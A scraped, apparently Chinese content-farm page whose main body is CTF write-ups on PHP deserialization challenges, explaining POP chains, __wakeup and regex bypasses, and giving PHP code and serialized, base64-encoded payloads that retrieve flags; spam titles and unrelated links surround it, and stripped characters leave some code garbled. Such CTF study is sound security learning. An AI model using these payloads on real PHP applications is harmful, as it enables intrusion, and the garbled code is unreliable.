当前位置: 首页 > news >正文

网站模板中企动力做视频网站每部电影都要版权

网站模板中企动力,做视频网站每部电影都要版权,客户管理系统哪找,如何推广新产品的方法[NewStarCTF 公开赛赛道]UnserializeOne 分析代码#xff0c;最终需要调用到 file_get_contents 即可获得flag 从后往前分析 触发 __invoke 需要 以调用函数的方式调用一个对象 可以找到Start类 里的__isset中可以将类当作函数调用 所以需要调用到 __isset 就需要 isset()…[NewStarCTF 公开赛赛道]UnserializeOne 分析代码最终需要调用到   file_get_contents 即可获得flag 从后往前分析 触发 __invoke 需要 以调用函数的方式调用一个对象 可以找到Start类 里的__isset中可以将类当作函数调用 所以需要调用到 __isset  就需要 isset() 或 empty() 可以发现在 eeee类中存在 又需要调用 __clone  方法当对象被复制时调用 再继续找可以发现在Easy 类里存在 clone , 只要将 $var 实例化为一个对象 就可满足条件 这又需要去调用到 __call 方法在对象中调用一个不可访问方法时__call() 会被调用 可以发现在 Sec 类 中  使用了一个 check()方法但是这个方法是不存在的正好满足__call() 的条件这又需要调用到 __toString 方法一个类被当成字符串时被调用 可以在Start类中发现将 $name 实例化为一个类就可满足类被当作字符串使用 这需要调用到__destruct ,对传入的 pop 参数的值 反序列化就可以调用这样就可以串起来了 Start类 - __destruct  ---  Sec类- __toString  ---  Easy类 -__call  --- eeee类-__clone    --- Start类- __isset  --- Sec 类- __invoke ---file_get_contents 链子出来了就需要去本地构造序列化了 ?php class Start{     public $name;     public $func; } class Sec{     public $obj;     public $var; } class Easy{     public $cla; } class eeee{     public $obj; } 尝试了几次失败的构造的有点问题 // $anew Start(new Sec(new Easy(new eeee(new Start(new Sec()))))); // O:5:Start:2:{s:4:name;N;s:4:func;N;} // $anew Start(); // $a-namenew Sec(); // $a-name-objnew Easy(new eeee(new Start(new Sec()))); // O:5:Start:2:{s:4:name;O:3:Sec:2:{s:3:obj;O:4:Easy:1:{s:3:cla;N;}s:3:var;N;}s:4:func;N;} $anew Start(); $a-namenew Sec(); $a-name-objnew Easy(); $a-name-varnew eeee(); $a-name-var-objnew Start(); $a-name-var-obj-funcnew Sec(); echo serialize($a); // O:5:Start:2:{s:4:name;O:3:Sec:2:{s:3:obj;O:4:Easy:1:{s:3:cla;N;}s:3:var;O:4:eeee:1:{s:3:obj;O:5:Start:2:{s:4:name;N;s:4:func;O:3:Sec:2:{s:3:obj;N;s:3:var;N;}}}}s:4:func;N;} 最后这个可以成功得到flag Web_php_unserialize 需要绕过的点 __wakeup 绕过 : 修改序列化字符串中属性的数量使其比实际属性数量多 preg_match(/[oc]:\d:/i, $var)表示匹配o或c加冒号加任意数字的形式 绕过在数字前面加上 即可绕过 因为需要  base64编码 代码里面使用了private 又麻烦了点不能直接序列化后改 使用函数去改 ?phpclass Demo { private $file index.php; }$anew Demo(fl4g.php); $bserialize($a); echo $b; //O:4:Demo:1:{s:10:Demofile;s:8:fl4g.php;} $bstr_replace(O:,O:,$b); $bstr_replace(s:,s:,$b); $bstr_replace(Demo:1,Demo:2,$b); echo $b; echo base64_encode($b); //Tzo0OiJEZW1vIjoyOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9?varTzorNDoiRGVtbyI6Mjp7czorMTA6IgBEZW1vAGZpbGUiO3M6Kzg6ImZsNGcucGhwIjt9 unserialize3 绕过__wakeup  :  修改序列化字符串中属性的数量使其比实际属性数量多 ?phpclass xctf{ public $flag 111; } $a new xctf(); $aserialize($a); echo $a; //O:4:xctf:1:{s:4:flag;s:3:111;} //O:4:xctf:2:{s:4:flag;s:3:111;} ?codeO:4:xctf:2:{s:4:flag;s:3:111;} BUU CODE REVIEW 1 关键点在于要使 $correct $input  但是每次执行 $ccorrect 都会被赋予一个新的量 所以使用  符号   使$input指向$correct 的地址就能保证它们的值相等因为都是指向的同一个地址是同一个值 ?phpclass BUU {public $correct ;public $input ;}$anew BUU();$a-input$a-correct;echo serialize($a);//O:3:BUU:2:{s:7:correct;s:0:;s:5:input;R:2;} 然后就是 md5的弱比较直接传数组比较简单 GET:   ?pleaseget1 POST:  pleasepost2md51[]1md52[]2objO:3:BUU:2:{s:7:correct;s:0:;s:5:input;R:2;}
http://www.pierceye.com/news/473803/

相关文章:

  • 网站上常用字体企业服务中心官网
  • 大作设计网站域名访问升级紧急中拿笔记好
  • 银川做网站的有哪些建筑工程网上报建网站诚信手册
  • 本地做网站绑定域名ic商城网站建设南大
  • react 网站开发seo软件资源
  • 中国最大免费wap网站怎样才能建设只是于自己的网站
  • 装修网站平台排行榜wordpress做视频网站吗
  • flash网站建设价格播放器网站怎么做
  • 微网站 源码 免费文本编辑器 网站
  • 电商网站通用左侧弹出导航有南昌网站优化公司
  • 沈阳三好街做网站公司个人网页设计风格分析
  • 网站建设经费计划内容网站建设中存在的问题
  • 天凡建设股份有限公司网站苍山网站建设
  • 如何新建网站dw线下推广的渠道和方法
  • 网站友链wordpress火车头发布
  • 青海网站维护公司自己的网站叫什么
  • 微网站 淘宝客wordpress备案号放置
  • html5 手机网站 模版网站信息员队伍建设
  • 基金会网站开发方案政务公开网站建设重点
  • 影视网站制作网页游戏的软件
  • 企业做网站的费用如何科目青色网站欣赏
  • 做视频网站怎么赚钱的网站开发流程的三个部分
  • 牡丹江市建设行业协会网站广西住房城乡建设厅网站首页
  • 重庆网站关键词排名优化免费网页代理的推荐
  • 定制型网站怎么做重庆软件开发公司有哪些
  • 自适应型网站建设网站建设搭建是什么意思
  • 网站建设能够不同地方网址大全12345
  • 做网批那个网站好校园网站界面建设
  • 免费网站建设php济南网站建设公司官网
  • 徐汇网站推广网络营销的四个特点